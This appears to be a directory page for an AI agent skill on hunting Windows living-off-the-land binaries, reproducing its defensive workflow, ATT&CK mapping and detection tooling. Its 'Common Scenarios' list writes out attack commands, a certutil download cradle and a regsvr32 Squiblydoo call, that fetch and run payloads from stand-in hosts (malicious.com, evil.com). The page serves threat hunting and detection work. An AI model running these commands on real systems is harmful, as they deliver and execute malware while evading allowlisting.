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Analysis & spreadsheets35k · #5799

hunting-for-living-off-the-land-binaries

Helps your agent find the misuse of system binaries for malicious purposes. It's useful for detecting defense evasion using trusted tools.

What it does

This tool helps find Windows programs that look normal but are being misused by criminals to do bad things on your computer, like downloading viruses or running malicious code undetected.

When to use it

  • ✓When you suspect malware is hiding by using normal Windows programs.
  • ✓While investigating how a cyberattack managed to get into the system.
  • ✓To check if security programs are catching the misuse of legitimate programs.

Example of what to ask your AI

“Look for Windows programs being used suspiciously to download files or run commands.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

It analyzes the activity logs of programs on your computer. It compares what's normal with what's happening now to find strange activities that might be malicious.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binaries

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Hunting for Living-off-the-Land Binaries (LOLBins)

When to Use

  • When investigating fileless malware campaigns that bypass traditional AV
  • During proactive threat hunts targeting defense evasion techniques
  • When EDR alerts fire on legitimate binaries executing unusual child processes
  • After threat intelligence reports indicate LOLBin abuse in active campaigns
  • During red team/purple team exercises validating detection coverage for T1218

Prerequisites

  • Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
  • SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
  • Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
  • PowerShell command-line logging enabled (Module Logging, Script Block Logging)
  • Network proxy or firewall logs for correlating outbound connections

Workflow

  1. Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
  2. Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
  3. Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
  4. Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
  5. Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
  6. Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
  7. Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.

Key Concepts

Concept Description
LOLBin Legitimate OS binary abused by attackers for malicious purposes
LOLBAS Project Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts
T1218 MITRE ATT&CK - Signed Binary Proxy Execution
T1218.001 Compiled HTML File (mshta.exe)
T1218.002 Control Panel (control.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32
T1218.011 Rundll32
T1197 BITS Jobs (bitsadmin.exe)
T1140 Deobfuscate/Decode Files (certutil.exe)
Proxy Execution Using trusted binaries to execute untrusted code
Fileless Attack Attack that operates primarily in memory without dropping files

Tools & Systems

Tool Purpose
CrowdStrike Falcon EDR telemetry and process tree analysis
Microsoft Defender for Endpoint Advanced hunting with KQL queries
Splunk SIEM log aggregation and SPL queries
Elastic Security Detection rules and timeline investigation
Sysmon Detailed process creation and network logging
LOLBAS Project Reference database of LOLBin capabilities
Sigma Rules Generic detection rule format for LOLBins
Velociraptor Endpoint forensic collection and hunting

Common Scenarios

  1. Certutil Download Cradle: Adversary uses certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.
  2. Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through mshta.exe, which is a signed Microsoft binary.
  3. Rundll32 DLL Proxy Load: Malicious DLL loaded via rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.
  4. Regsvr32 Squiblydoo: Remote SCT file executed via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.
  5. BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using bitsadmin /transfer.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
  - [Finding 1 with evidence]
  - [Finding 2 with evidence]

…
FAQ

What are 'LOLBins'?

These are programs that come with Windows, like `certutil.exe` or `rundll32.exe`, which are legitimate but can be used by criminals to run malicious code without traditional antivirus software noticing.

Do I need to install anything to use this tool?

No, you don't install anything. It uses information already present in your security systems (like EDR and SIEM) and from lists of programs known to be used in attacks (like the LOLBAS Project).

How do I know if the activity found is actually dangerous?

The tool helps identify suspicious activities. You will need to analyze these activities based on your knowledge and other security information to confirm if they are malicious or just an unusual, but legitimate, use.

Details

Original description by the author

Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5799
License
Apache-2.0
Updated
8/31/2026

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